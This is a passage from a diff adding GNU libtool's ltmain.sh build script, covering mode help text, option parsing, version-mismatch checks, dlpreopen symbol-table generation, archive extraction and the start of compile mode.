+into their corresponding uninstalled binary, and any of their required library
+directories are added to the library path.
+
+Then, COMMAND is executed, with ARGS as arguments."
+        ;;
+
+      finish)
+        $ECHO \
+"Usage: $progname [OPTION]... --mode=finish [LIBDIR]...
+
+Complete the installation of libtool libraries.
+
+Each LIBDIR is a directory that contains libtool libraries.
+
+The commands that this mode executes may require superuser privileges.  Use
+the \`--dry-run' option if you just want to see what would be executed."
+        ;;
+
+      install)
+        $ECHO \
+"Usage: $progname [OPTION]... --mode=install INSTALL-COMMAND...
+
+Install executables or libraries.
+
+INSTALL-COMMAND is the installation command.  The first component should be
+either the \`install' or \`cp' program.
+
+The following components of INSTALL-COMMAND are treated specially:
+
+  -inst-prefix PREFIX-DIR  Use PREFIX-DIR as a staging area for installation
+
+The rest of the components are interpreted as arguments to that command (only
+BSD-compatible install options are recognized)."
+        ;;
+
+      link)
+        $ECHO \
+"Usage: $progname [OPTION]... --mode=link LINK-COMMAND...
+
+Link object files or libraries together to form another library, or to
+create an executable program.
+
+LINK-COMMAND is a command using the C compiler that you would use to create
+a program from several object files.
+
+The following components of LINK-COMMAND are treated specially:
+
+  -all-static       do not do any dynamic linking at all
+  -avoid-version    do not add a version suffix if possible
+  -dlopen FILE      \`-dlpreopen' FILE if it cannot be dlopened at runtime
+  -dlpreopen FILE   link in FILE and add its symbols to lt_preloaded_symbols
+  -export-dynamic   allow symbols from OUTPUT-FILE to be resolved with dlsym(3)
+  -export-symbols SYMFILE
+		    try to export only the symbols listed in SYMFILE
+  -export-symbols-regex REGEX
+		    try to export only the symbols matching REGEX
+  -LLIBDIR          search LIBDIR for required installed libraries
+  -lNAME            OUTPUT-FILE requires the installed library libNAME
+  -module           build a library that can dlopened
+  -no-fast-install  disable the fast-install mode
+  -no-install       link a not-installable executable
+  -no-undefined     declare that a library does not refer to external symbols
+  -o OUTPUT-FILE    create OUTPUT-FILE from the specified objects
+  -objectlist FILE  Use a list of object files found in FILE to specify objects
+  -precious-files-regex REGEX
+                    don't remove output files matching REGEX
+  -release RELEASE  specify package release information
+  -rpath LIBDIR     the created library will eventually be installed in LIBDIR
+  -R[ ]LIBDIR       add LIBDIR to the runtime path of programs and libraries
+  -shared           only do dynamic linking of libtool libraries
+  -shrext SUFFIX    override the standard shared library file extension
+  -static           do not do any dynamic linking of libtool libraries
+  -version-info CURRENT[:REVISION[:AGE]]
+		    specify library version info [each variable defaults to 0]
+  -weak LIBNAME     declare that the target provides the LIBNAME interface
+
+All other options (arguments beginning with \`-') are ignored.
+
+Every other argument is treated as a filename.  Files ending in \`.la' are
+treated as uninstalled libtool libraries, other files are standard or library
+object files.
+
+If the OUTPUT-FILE ends in \`.la', then a libtool library is created,
+only library objects (\`.lo' files) may be specified, and \`-rpath' is
+required, except when creating a convenience library.
+
+If OUTPUT-FILE ends in \`.a' or \`.lib', then a standard library is created
+using \`ar' and \`ranlib', or on Windows using \`lib'.
+
+If OUTPUT-FILE ends in \`.lo' or \`.${objext}', then a reloadable object file
+is created, otherwise an executable program is created."
+        ;;
+
+      uninstall)
+        $ECHO \
+"Usage: $progname [OPTION]... --mode=uninstall RM [RM-OPTION]... FILE...
+
+Remove libraries from an installation directory.
+
+RM is the name of the program to use to delete files associated with each FILE
+(typically \`/bin/rm').  RM-OPTIONS are options (such as \`-f') to be passed
+to RM.
+
+If FILE is a libtool library, all the files associated with it are deleted.
+Otherwise, only FILE itself is deleted using RM."
+        ;;
+
+      *)
+        func_fatal_help "invalid operation mode \`$mode'"
+        ;;
+    esac
+
+    $ECHO
+    $ECHO "Try \`$progname --help' for more information about other modes."
+
+    exit $?
+}
+
+# TEST SUITE MARKER ## NON-FUNCTION
+# Parse options once, thoroughly.  This comes as soon as possible in
+# the script to make things like `libtool --version' happen quickly.
+{
+  # sed scripts:
+  my_sed_single_opt='1s/^\(..\).*$/\1/;q'
+  my_sed_single_rest='1s/^..\(.*\)$/\1/;q'
+  my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+  my_sed_long_arg='1s/^-[^=]*=//'
+
+  # Shorthand for --mode=foo, only valid as the first argument
+  case $1 in
+  clean|clea|cle|cl)
+    shift; set dummy --mode clean ${1+"$@"}; shift
+    ;;
+  compile|compil|compi|comp|com|co|c)
+    shift; set dummy --mode compile ${1+"$@"}; shift
+    ;;
+  execute|execut|execu|exec|exe|ex|e)
+    shift; set dummy --mode execute ${1+"$@"}; shift
+    ;;
+  finish|finis|fini|fin|fi|f)
+    shift; set dummy --mode finish ${1+"$@"}; shift
+    ;;
+  install|instal|insta|inst|ins|in|i)
+    shift; set dummy --mode install ${1+"$@"}; shift
+    ;;
+  link|lin|li|l)
+    shift; set dummy --mode link ${1+"$@"}; shift
+    ;;
+  uninstall|uninstal|uninsta|uninst|unins|unin|uni|un|u)
+    shift; set dummy --mode uninstall ${1+"$@"}; shift
+    ;;
+  esac
+
+  # Parse non-mode specific arguments:
+  while test "$#" -gt 0; do
+    opt="$1"
+    shift
+
+    case $opt in
+      --config)		func_config 					;;
+
+      --debug)		preserve_args="$preserve_args $opt"
+	    		func_echo "enabling shell trace mode"
+	    		opt_debug='set -x'
+			$opt_debug
+			;;
+
+      -dlopen)		test "$#" -eq 0 && func_missing_arg "$opt" && break
+			execute_dlfiles="$execute_dlfiles $1"
+			shift
+			;;
+
+      --dry-run | -n)	opt_dry_run=:					;;
+      --features)       func_features					;;
+      --finish)		mode="finish"					;;
+
+      --mode)		test "$#" -eq 0 && func_missing_arg "$opt" && break
+	    		case $1 in
+			  # Valid mode arguments:
+			  clean)	;;
+			  compile)	;;
+			  execute)	;;
+			  finish)	;;
+			  install)	;;
+			  link)		;;
+			  relink)	;;
+			  uninstall)	;;
+
+			  # Catch anything else as an error
+			  *) func_error "invalid argument for $opt"
+			     exit_cmd=exit
+			     break
+			     ;;
+		        esac
+
+	    		mode="$1"
+			shift
+			;;
+
+      --preserve-dup-deps)
+      			opt_duplicate_deps=:				;;
+
+      --quiet|--silent)	preserve_args="$preserve_args $opt"
+	    		opt_silent=:
+			;;
+
+      --verbose| -v)	preserve_args="$preserve_args $opt"
+	    		opt_silent=false
+			;;
+
+      --tag)		test "$#" -eq 0 && func_missing_arg "$opt" && break
+			preserve_args="$preserve_args $opt $1"
+			func_enable_tag "$1"	# tagname is set here
+			shift
+			;;
+
+      # Separate optargs to long options:
+      -dlopen=*|--mode=*|--tag=*)
+			arg=`$ECHO "X$opt" | $Xsed -e "$my_sed_long_arg"`
+			opt=`$ECHO "X$opt" | $Xsed -e "$my_sed_long_opt"`
+			set dummy "$opt" "$arg" ${1+"$@"}
+			shift
+			;;
+
+      # Separate optargs to short options:
+#      -x*|-y*)
+#			arg=`$ECHO "X$opt" |$Xsed -e "$my_sed_single_rest"`
+#			opt=`$ECHO "X$opt" |$Xsed -e "$my_sed_single_opt"`
+#			set dummy "$opt" "$arg" ${1+"$@"}
+#			shift
+#			;;
+
+      # Separate non-argument short options:
+#      -z*|-z*|-y*)
+#			rest=`$ECHO "X$opt" |$Xsed -e "$my_sed_single_rest"`
+#			opt=`$ECHO "X$opt" |$Xsed -e "$my_sed_single_opt"`
+#			set dummy "$opt" "-$rest" ${1+"$@"}
+#			shift
+#			;;
+
+      -\?|-h)		func_usage					;;
+      --help)		opt_help=:					;;
+      --version)	func_version					;;
+
+      -*)		func_fatal_help "unrecognized option \`$opt'"	;;
+
+      *)		nonopt="$opt"
+      			break
+			;;
+    esac
+  done
+
+  # Now that we've collected a possible --mode arg, show help if necessary
+  $opt_help && func_mode_help
+
+  case $host in
+    *cygwin* | *mingw* | *pw32*)
+      # don't eliminate duplications in $postdeps and $predeps
+      opt_duplicate_compiler_generated_deps=:
+      ;;
+    *)
+      opt_duplicate_compiler_generated_deps=$opt_duplicate_deps
+      ;;
+  esac
+
+  # Having warned about all mis-specified options, bail out if
+  # anything was wrong.
+  $exit_cmd $EXIT_FAILURE
+}
+# TEST SUITE MARKER ## BEGIN SOURCABLE
+
+# func_check_version_match
+# Ensure that we are using m4 macros, and libtool script from the same
+# release of libtool.
+func_check_version_match ()
+{
+  if test "$package_revision" != "$macro_revision"; then
+    if test "$VERSION" != "$macro_version"; then
+      if test -z "$macro_version"; then
+        cat >&2 <<_LT_EOF
+$progname: Version mismatch error.  This is $PACKAGE $VERSION, but the
+$progname: definition of this LT_INIT comes from an older release.
+$progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION
+$progname: and run autoconf again.
+_LT_EOF
+      else
+        cat >&2 <<_LT_EOF
+$progname: Version mismatch error.  This is $PACKAGE $VERSION, but the
+$progname: definition of this LT_INIT comes from $PACKAGE $macro_version.
+$progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION
+$progname: and run autoconf again.
+_LT_EOF
+      fi
+    else
+      cat >&2 <<_LT_EOF
+$progname: Version mismatch error.  This is $PACKAGE $VERSION, revision $package_revision,
+$progname: but the definition of this LT_INIT comes from revision $macro_revision.
+$progname: You should recreate aclocal.m4 with macros from revision $package_revision
+$progname: of $PACKAGE $VERSION and run autoconf again.
+_LT_EOF
+    fi
+
+    exit $EXIT_MISMATCH
+  fi
+}
+
+
+# func_lalib_p file
+# True iff FILE is a libtool `.la' library or `.lo' object file.
+# This function is only a basic sanity check; it will hardly flush out
+# determined imposters.
+func_lalib_p ()
+{
+    $SED -e 4q "$1" 2>/dev/null \
+      | $GREP "^# Generated by .*$PACKAGE" > /dev/null 2>&1
+}
+
+# func_lalib_unsafe_p file
+# True iff FILE is a libtool `.la' library or `.lo' object file.
+# This function implements the same check as func_lalib_p without
+# resorting to external programs.  To this end, it redirects stdin and
+# closes it afterwards, without saving the original file descriptor.
+# As a safety measure, use it only where a negative result would be
+# fatal anyway.  Works if `file' does not exist.
+func_lalib_unsafe_p ()
+{
+    lalib_p=no
+    if test -r "$1" && exec 5<&1 <"$1"; then
+	for lalib_p_l in 1 2 3 4
+	do
+	    read lalib_p_line
+	    case "$lalib_p_line" in
+		\#\ Generated\ by\ *$PACKAGE* ) lalib_p=yes; break;;
+	    esac
+	done
+	exec 1<&5 5<&-
+    fi
+    test "$lalib_p" = yes
+}
+
+# func_ltwrapper_p file
+# True iff FILE is a libtool wrapper script.
+# This function is only a basic sanity check; it will hardly flush out
+# determined imposters.
+func_ltwrapper_p ()
+{
+    func_lalib_p "$1"
+}
+
+
+# func_execute_cmds commands fail_cmd
+# Execute tilde-delimited COMMANDS.
+# If FAIL_CMD is given, eval that upon failure.
+# FAIL_CMD may read-access the current command in variable CMD!
+func_execute_cmds ()
+{
+    $opt_debug
+    save_ifs=$IFS; IFS='~'
+    for cmd in $1; do
+      IFS=$save_ifs
+      eval cmd=\"$cmd\"
+      func_show_eval "$cmd" "${2-:}"
+    done
+    IFS=$save_ifs
+}
+
+
+# func_source file
+# Source FILE, adding directory component if necessary.
+# Note that it is not necessary on cygwin/mingw to append a dot to
+# FILE even if both FILE and FILE.exe exist: automatic-append-.exe
+# behavior happens only for exec(3), not for open(2)!  Also, sourcing
+# `FILE.' does not work on cygwin managed mounts.
+func_source ()
+{
+    $opt_debug
+    case $1 in
+    */* | *\\*)	. "$1" ;;
+    *)		. "./$1" ;;
+    esac
+}
+
+
+# Generated shell functions inserted here.
+
+
+# func_win32_libid arg
+# return the library type of file 'arg'
+#
+# Need a lot of goo to handle *both* DLLs and import libs
+# Has to be a shell function in order to 'eat' the argument
+# that is supplied when $file_magic_command is called.
+func_win32_libid ()
+{
+  $opt_debug
+  win32_libid_type="unknown"
+  win32_fileres=`file -L $1 2>/dev/null`
+  case $win32_fileres in
+  *ar\ archive\ import\ library*) # definitely import
+    win32_libid_type="x86 archive import"
+    ;;
+  *ar\ archive*) # could be an import, or static
+    if eval $OBJDUMP -f $1 | $SED -e '10q' 2>/dev/null |
+       $EGREP 'file format pe-i386(.*architecture: i386)?' >/dev/null ; then
+      win32_nmres=`eval $NM -f posix -A $1 |
+	$SED -n -e '
+	    1,100{
+		/ I /{
+		    s,.*,import,
+		    p
+		    q
+		}
+	    }'`
+      case $win32_nmres in
+      import*)  win32_libid_type="x86 archive import";;
+      *)        win32_libid_type="x86 archive static";;
+      esac
+    fi
+    ;;
+  *DLL*)
+    win32_libid_type="x86 DLL"
+    ;;
+  *executable*) # but shell scripts are "executable" too...
+    case $win32_fileres in
+    *MS\ Windows\ PE\ Intel*)
+      win32_libid_type="x86 DLL"
+      ;;
+    esac
+    ;;
+  esac
+  $ECHO "$win32_libid_type"
+}
+
+
+
+# func_infer_tag arg
+# Infer tagged configuration to use if any are available and
+# if one wasn't chosen via the "--tag" command line option.
+# Only attempt this if the compiler in the base compile
+# command doesn't match the default compiler.
+# arg is usually of the form 'gcc ...'
+func_infer_tag ()
+{
+    $opt_debug
+    if test -n "$available_tags" && test -z "$tagname"; then
+      CC_quoted=
+      for arg in $CC; do
+        func_quote_for_eval "$arg"
+	CC_quoted="$CC_quoted $func_quote_for_eval_result"
+      done
+      case $@ in
+      # Blanks in the command may have been stripped by the calling shell,
+      # but not from the CC environment variable when configure was run.
+      " $CC "* | "$CC "* | " `$ECHO $CC` "* | "`$ECHO $CC` "* | " $CC_quoted"* | "$CC_quoted "* | " `$ECHO $CC_quoted` "* | "`$ECHO $CC_quoted` "*) ;;
+      # Blanks at the start of $base_compile will cause this to fail
+      # if we don't check for them as well.
+      *)
+	for z in $available_tags; do
+	  if $GREP "^# ### BEGIN LIBTOOL TAG CONFIG: $z$" < "$progpath" > /dev/null; then
+	    # Evaluate the configuration.
+	    eval "`${SED} -n -e '/^# ### BEGIN LIBTOOL TAG CONFIG: '$z'$/,/^# ### END LIBTOOL TAG CONFIG: '$z'$/p' < $progpath`"
+	    CC_quoted=
+	    for arg in $CC; do
+	      # Double-quote args containing other shell metacharacters.
+	      func_quote_for_eval "$arg"
+	      CC_quoted="$CC_quoted $func_quote_for_eval_result"
+	    done
+	    case "$@ " in
+	      " $CC "* | "$CC "* | " `$ECHO $CC` "* | "`$ECHO $CC` "* | " $CC_quoted"* | "$CC_quoted "* | " `$ECHO $CC_quoted` "* | "`$ECHO $CC_quoted` "*)
+	      # The compiler in the base compile command matches
+	      # the one in the tagged configuration.
+	      # Assume this is the tagged configuration we want.
+	      tagname=$z
+	      break
+	      ;;
+	    esac
+	  fi
+	done
+	# If $tagname still isn't set, then no tagged configuration
+	# was found and let the user know that the "--tag" command
+	# line option must be used.
+	if test -z "$tagname"; then
+	  func_echo "unable to infer tagged configuration"
+	  func_fatal_error "specify a tag with \`--tag'"
+#	else
+#	  func_verbose "using $tagname tagged configuration"
+	fi
+	;;
+      esac
+    fi
+}
+
+
+
+# func_generate_dlsyms outputname originator pic_p
+# Extract symbols from dlprefiles and create ${outputname}S.o with
+# a dlpreopen symbol table.
+func_generate_dlsyms ()
+{
+    $opt_debug
+    my_outputname="$1"
+    my_originator="$2"
+    my_pic_p="${3-no}"
+    my_prefix=`$ECHO "$my_originator" | sed 's%[^a-zA-Z0-9]%_%g'`
+    my_dlsyms=
+
+    if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then
+      if test -n "$NM" && test -n "$global_symbol_pipe"; then
+	my_dlsyms="${my_outputname}S.c"
+      else
+	func_error "not configured to extract global symbols from dlpreopened files"
+      fi
+    fi
+
+    if test -n "$my_dlsyms"; then
+      case $my_dlsyms in
+      "") ;;
+      *.c)
+	# Discover the nlist of each of the dlfiles.
+	nlist="$output_objdir/${my_outputname}.nm"
+
+	func_show_eval "$RM $nlist ${nlist}S ${nlist}T"
+
+	# Parse the name list into a source file.
+	func_echo "creating $output_objdir/$my_dlsyms"
+
+	$opt_dry_run || $ECHO > "$output_objdir/$my_dlsyms" "\
+/* $my_dlsyms - symbol resolution table for \`$my_outputname' dlsym emulation. */
+/* Generated by $PROGRAM (GNU $PACKAGE$TIMESTAMP) $VERSION */
+
+#ifdef __cplusplus
+extern \"C\" {
+#endif
+
+/* External symbol declarations for the compiler. */\
+"
+
+	if test "$dlself" = yes; then
+	  func_echo "generating symbol list for \`$output'"
+
+	  $opt_dry_run || echo ': @PROGRAM@ ' > "$nlist"
+
+	  # Add our own program objects to the symbol list.
+	  progfiles=`$ECHO "X$objs$old_deplibs" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP`
+	  for progfile in $progfiles; do
+	    func_echo "extracting global C symbols from \`$progfile'"
+	    $opt_dry_run || eval "$NM $progfile | $global_symbol_pipe >> '$nlist'"
+	  done
+
+	  if test -n "$exclude_expsyms"; then
+	    $opt_dry_run || {
+	      eval '$EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T'
+	      eval '$MV "$nlist"T "$nlist"'
+	    }
+	  fi
+
+	  if test -n "$export_symbols_regex"; then
+	    $opt_dry_run || {
+	      eval '$EGREP -e "$export_symbols_regex" "$nlist" > "$nlist"T'
+	      eval '$MV "$nlist"T "$nlist"'
+	    }
+	  fi
+
+	  # Prepare the list of exported symbols
+	  if test -z "$export_symbols"; then
+	    export_symbols="$output_objdir/$outputname.exp"
+	    $opt_dry_run || {
+	      $RM $export_symbols
+	      eval "${SED} -n -e '/^: @PROGRAM@ $/d' -e 's/^.* \(.*\)$/\1/p' "'< "$nlist" > "$export_symbols"'
+	      case $host in
+	      *cygwin* | *mingw* )
+                eval "echo EXPORTS "'> "$output_objdir/$outputname.def"'
+                eval 'cat "$export_symbols" >> "$output_objdir/$outputname.def"'
+	        ;;
+	      esac
+	    }
+	  else
+	    $opt_dry_run || {
+	      eval "${SED} -e 's/\([].[*^$]\)/\\\\\1/g' -e 's/^/ /' -e 's/$/$/'"' < "$export_symbols" > "$output_objdir/$outputname.exp"'
+	      eval '$GREP -f "$output_objdir/$outputname.exp" < "$nlist" > "$nlist"T'
+	      eval '$MV "$nlist"T "$nlist"'
+	      case $host in
+	        *cygwin | *mingw* )
+	          eval "echo EXPORTS "'> "$output_objdir/$outputname.def"'
+	          eval 'cat "$nlist" >> "$output_objdir/$outputname.def"'
+	          ;;
+	      esac
+	    }
+	  fi
+	fi
+
+	for dlprefile in $dlprefiles; do
+	  func_echo "extracting global C symbols from \`$dlprefile'"
+	  func_basename "$dlprefile"
+	  name="$func_basename_result"
+	  $opt_dry_run || {
+	    eval '$ECHO ": $name " >> "$nlist"'
+	    eval "$NM $dlprefile 2>/dev/null | $global_symbol_pipe >> '$nlist'"
+	  }
+	done
+
+	$opt_dry_run || {
+	  # Make sure we have at least an empty file.
+	  test -f "$nlist" || : > "$nlist"
+
+	  if test -n "$exclude_expsyms"; then
+	    $EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T
+	    $MV "$nlist"T "$nlist"
+	  fi
+
+	  # Try sorting and uniquifying the output.
+	  if $GREP -v "^: " < "$nlist" |
+	      if sort -k 3 </dev/null >/dev/null 2>&1; then
+		sort -k 3
+	      else
+		sort +2
+	      fi |
+	      uniq > "$nlist"S; then
+	    :
+	  else
+	    $GREP -v "^: " < "$nlist" > "$nlist"S
+	  fi
+
+	  if test -f "$nlist"S; then
+	    eval "$global_symbol_to_cdecl"' < "$nlist"S >> "$output_objdir/$my_dlsyms"'
+	  else
+	    $ECHO '/* NONE */' >> "$output_objdir/$my_dlsyms"
+	  fi
+
+	  $ECHO >> "$output_objdir/$my_dlsyms" "\
+
+/* The mapping between symbol names and symbols.  */
+"
+	  case $host in
+	  *cygwin* | *mingw* )
+	    $ECHO >> "$output_objdir/$my_dlsyms" "\
+/* DATA imports from DLLs on WIN32 con't be const, because
+   runtime relocations are performed -- see ld's documentation
+   on pseudo-relocs.  */
+   struct {
+"
+	    ;;
+	  *)
+	    $ECHO >> "$output_objdir/$my_dlsyms" "\
+const struct {
+"
+	    ;;
+	  esac
+
+	  $ECHO >> "$output_objdir/$my_dlsyms" "\
+   const char *name;
+   void *address;
+}
+lt_${my_prefix}_LTX_preloaded_symbols[] =
+{\
+  { \"$my_originator\", (void *) 0 },
+"
+
+	  eval "$global_symbol_to_c_name_address" < "$nlist" >> "$output_objdir/$my_dlsyms"
+
+	  $ECHO >> "$output_objdir/$my_dlsyms" "\
+  {0, (void *) 0}
+};
+
+/* This works around a problem in FreeBSD linker */
+#ifdef FREEBSD_WORKAROUND
+static const void *lt_preloaded_setup() {
+  return lt_${my_prefix}_LTX_preloaded_symbols;
+}
+#endif
+
+#ifdef __cplusplus
+}
+#endif\
+"
+	} # !$opt_dry_run
+
+  	pic_flag_for_symtable=
+	case "$compile_command " in
+	*" -static "*) ;;
+	*)
+	  case $host in
+	  # compiling the symbol table file with pic_flag works around
+	  # a FreeBSD bug that causes programs to crash when -lm is
+	  # linked before any other PIC object.  But we must not use
+	  # pic_flag when linking with -static.  The problem exists in
+	  # FreeBSD 2.2.6 and is fixed in FreeBSD 3.1.
+	  *-*-freebsd2*|*-*-freebsd3.0*|*-*-freebsdelf3.0*)
+	    pic_flag_for_symtable=" $pic_flag -DFREEBSD_WORKAROUND" ;;
+	  *-*-hpux*)
+	    pic_flag_for_symtable=" $pic_flag"  ;;
+	  *)
+	    if test "X$my_pic_p" != Xno; then
+	      pic_flag_for_symtable=" $pic_flag"
+	    fi
+	    ;;
+	  esac
+	  ;;
+	esac
+	symtab_cflags=
+	for arg in $LTCFLAGS; do
+	  case $arg in
+	  -pie | -fpie | -fPIE) ;;
+	  *) symtab_cflags="$symtab_cflags $arg" ;;
+	  esac
+	done
+
+	# Now compile the dynamic symbol file.
+	func_show_eval '(cd $output_objdir && $LTCC$symtab_cflags -c$no_builtin_flag$pic_flag_for_symtable "$my_dlsyms")' 'exit $?'
+
+	# Clean up the generated files.
+	func_show_eval '$RM "$output_objdir/$my_dlsyms" "$nlist" "${nlist}S" "${nlist}T"'
+
+	# Transform the symbol file into the correct name.
+	symfileobj="$output_objdir/${my_outputname}S.$objext"
+	case $host in
+	*cygwin* | *mingw* )
+	  if test -f "$output_objdir/$my_outputname.def"; then
+	    compile_command=`$ECHO "X$compile_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/$my_outputname.def $symfileobj%"`
+	    finalize_command=`$ECHO "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/$my_outputname.def $symfileobj%"`
+	  else
+	    compile_command=`$ECHO "X$compile_command" | $Xsed -e "s%@SYMFILE@%$symfileobj%"`
+	    finalize_command=`$ECHO "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$symfileobj%"`
+	  fi
+	  ;;
+	*)
+	  compile_command=`$ECHO "X$compile_command" | $Xsed -e "s%@SYMFILE@%$symfileobj%"`
+	  finalize_command=`$ECHO "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$symfileobj%"`
+	  ;;
+	esac
+	;;
+      *)
+	func_fatal_error "unknown suffix for \`$my_dlsyms'"
+	;;
+      esac
+    else
+      # We keep going just in case the user didn't refer to
+      # lt_preloaded_symbols.  The linker will fail if global_symbol_pipe
+      # really was required.
+
+      # Nullify the symbol file.
+      compile_command=`$ECHO "X$compile_command" | $Xsed -e "s% @SYMFILE@%%"`
+      finalize_command=`$ECHO "X$finalize_command" | $Xsed -e "s% @SYMFILE@%%"`
+    fi
+}
+
+# func_extract_an_archive dir oldlib
+func_extract_an_archive ()
+{
+    $opt_debug
+    f_ex_an_ar_dir="$1"; shift
+    f_ex_an_ar_oldlib="$1"
+    func_show_eval "(cd \$f_ex_an_ar_dir && $AR x \$f_ex_an_ar_oldlib)" 'exit $?'
+    if ($AR t "$f_ex_an_ar_oldlib" | sort | sort -uc >/dev/null 2>&1); then
+     :
+    else
+      func_fatal_error "object name conflicts in archive: $f_ex_an_ar_dir/$f_ex_an_ar_oldlib"
+    fi
+}
+
+
+# func_extract_archives gentop oldlib ...
+func_extract_archives ()
+{
+    $opt_debug
+    my_gentop="$1"; shift
+    my_oldlibs=${1+"$@"}
+    my_oldobjs=""
+    my_xlib=""
+    my_xabs=""
+    my_xdir=""
+
+    for my_xlib in $my_oldlibs; do
+      # Extract the objects.
+      case $my_xlib in
+	[\\/]* | [A-Za-z]:[\\/]*) my_xabs="$my_xlib" ;;
+	*) my_xabs=`pwd`"/$my_xlib" ;;
+      esac
+      func_basename "$my_xlib"
+      my_xlib="$func_basename_result"
+      my_xdir="$my_gentop/$my_xlib"
+
+      func_mkdir_p "$my_xdir"
+
+      case $host in
+      *-darwin*)
+	func_echo "Extracting $my_xabs"
+	# Do not bother doing anything if just a dry run
+	$opt_dry_run || {
+	  darwin_orig_dir=`pwd`
+	  cd $my_xdir || exit $?
+	  darwin_archive=$my_xabs
+	  darwin_curdir=`pwd`
+	  darwin_base_archive=`basename $darwin_archive`
+	  darwin_arches=`lipo -info "$darwin_archive" 2>/dev/null | $GREP Architectures 2>/dev/null || true`
+	  if test -n "$darwin_arches"; then
+	    darwin_arches=`$ECHO "$darwin_arches" | $SED -e 's/.*are://'`
+	    darwin_arch=
+	    func_echo "$darwin_base_archive has multiple architectures $darwin_arches"
+	    for darwin_arch in  $darwin_arches ; do
+	      func_mkdir_p "unfat-$$/${darwin_base_archive}-${darwin_arch}"
+	      lipo -thin $darwin_arch -output "unfat-$$/${darwin_base_archive}-${darwin_arch}/${darwin_base_archive}" "${darwin_archive}"
+	      cd "unfat-$$/${darwin_base_archive}-${darwin_arch}"
+	      func_extract_an_archive "`pwd`" "${darwin_base_archive}"
+	      cd "$darwin_curdir"
+	      $RM "unfat-$$/${darwin_base_archive}-${darwin_arch}/${darwin_base_archive}"
+	    done # $darwin_arches
+            ## Okay now we've a bunch of thin objects, gotta fatten them up :)
+	    darwin_filelist=`find unfat-$$ -type f -name \*.o -print -o -name \*.lo -print| xargs basename | sort -u | $NL2SP`
+	    darwin_file=
+	    darwin_files=
+	    for darwin_file in $darwin_filelist; do
+	      darwin_files=`find unfat-$$ -name $darwin_file -print | $NL2SP`
+	      lipo -create -output "$darwin_file" $darwin_files
+	    done # $darwin_filelist
+	    $RM -rf unfat-$$
+	    cd "$darwin_orig_dir"
+	  else
+	    cd $darwin_orig_dir
+	    func_extract_an_archive "$my_xdir" "$my_xabs"
+	  fi # $darwin_arches
+	} # !$opt_dry_run
+	;;
+      *)
+        func_extract_an_archive "$my_xdir" "$my_xabs"
+	;;
+      esac
+      my_oldobjs="$my_oldobjs "`find $my_xdir -name \*.$objext -print -o -name \*.lo -print | $NL2SP`
+    done
+
+    func_extract_archives_result="$my_oldobjs"
+}
+
+
+# func_mode_compile arg...
+func_mode_compile ()
+{
+    $opt_debug
+    # Get the compilation command and the source file.
+    base_compile=
+    srcfile="$nonopt"  #  always keep a non-empty value in "srcfile"
+    suppress_opt=yes
+    suppress_output=
+    arg_mode=normal
+    libobj=
+    later=
+    pie_flag=
+
+    for arg
+    do
+      case $arg_mode in
+      arg  )
+	# do not "continue".  Instead, add this to base_compile
+	lastarg="$arg"
+	arg_mode=normal
+	;;
+
+      target )
+	libobj="$arg"
+	arg_mode=normal
+	continue
+	;;
+
+      normal )
+	# Accept any command-line options.
+	case $arg in
+	-o)
+	  test -n "$libobj" && \
+	    func_fatal_error "you cannot specify \`-o' more than once"
+	  arg_mode=target
+	  continue
+	  ;;
+
+	-pie | -fpie | -fPIE)
+          pie_flag="$pie_flag $arg"
+	  continue
+	  ;;
+
+	-shared | -static | -prefer-pic | -prefer-non-pic)
+	  later="$later $arg"
+	  continue
+	  ;;
+
+	-no-suppress)
+	  suppress_opt=no
+	  continue
+	  ;;
+
+	-Xcompiler)
+	  arg_mode=arg  #  the next one goes into the "base_compile" arg list
+	  continue      #  The current "srcfile" will either be retained or
+	  ;;            #  replaced later.  I would guess that would be a bug.
+
+	-Wc,*)
+	  func_stripname '-Wc,' '' "$arg"
+	  args=$func_stripname_result
+	  lastarg=
+	  save_ifs="$IFS"; IFS=','
+	  for arg in $args; do
+	    IFS="$save_ifs"
+	    func_quote_for_eval "$arg"
+	    lastarg="$lastarg $func_quote_for_eval_result"
+	  done
+	  IFS="$save_ifs"
+	  func_stripname ' ' '' "$lastarg"
+	  lastarg=$func_stripname_result
+
+	  # Add the arguments to base_compile.
+	  base_compile="$base_compile $lastarg"
+	  continue
+	  ;;
+
+	*)
+	  # Accept the current argument as the source file.
+	  # The previous "srcfile" becomes the current argument.
+	  #
+	  lastarg="$srcfile"
+	  srcfile="$arg"
+	  ;;
+	esac  #  case $arg
+	;;
+      esac    #  case $arg_mode
+
+      # Aesthetically quote the previous argument.
+      func_quote_for_eval "$lastarg"
+      base_compile="$base_compile $func_quote_for_eval_result"
+    done # for arg
+
+    case $arg_mode in
+    arg)
+      func_fatal_error "you must specify an argument for -Xcompile"
+      ;;
+    target)
+      func_fatal_error "you must specify a target with \`-o'"
+      ;;
+    *)
+      # Get the name of the library object.
+      test -z "$libobj" && {
+	func_basename "$srcfile"
+	libobj="$func_basename_result"
+      }
+      ;;
+    esac
+
+    # Recognize several different file suffixes.
+    # If the user specifies -o file.o, it is replaced with file.lo
+    xform='[cCFSifmso]'
+    case $libobj in
+    *.ada) xform=ada ;;
+    *.adb) xform=adb ;;
+    *.ads) xform=ads ;;
+    *.asm) xform=asm ;;
+    *.c++) xform=c++ ;;
+    *.cc) xform=cc ;;
+    *.ii) xform=ii ;;
+    *.class) xform=class ;;
+    *.cpp) xform=cpp ;;
+    *.cxx) xform=cxx ;;
+    *.f90) xform=f90 ;;
+    *.for) xform=for ;;
+    *.java) xform=java ;;
+    *.obj) xform=obj ;;
+    esac
+
+    libobj=`$ECHO "X$libobj" | $Xsed -e "s/\.$xform$/.lo/"`
+
+    case $libobj in
+    *.lo) obj=`$ECHO "X$libobj" | $Xsed -e "$lo2o"` ;;
+    *)
+      func_fatal_error "cannot determine name of library object from \`$libobj'"
+      ;;
+    esac
+
+    func_infer_tag $base_compile
+
+    for arg in $later; do
+      case $arg in
+      -shared)
+	test "$build_libtool_libs" != yes && \
+	  func_fatal_configuration "can not build a shared library"
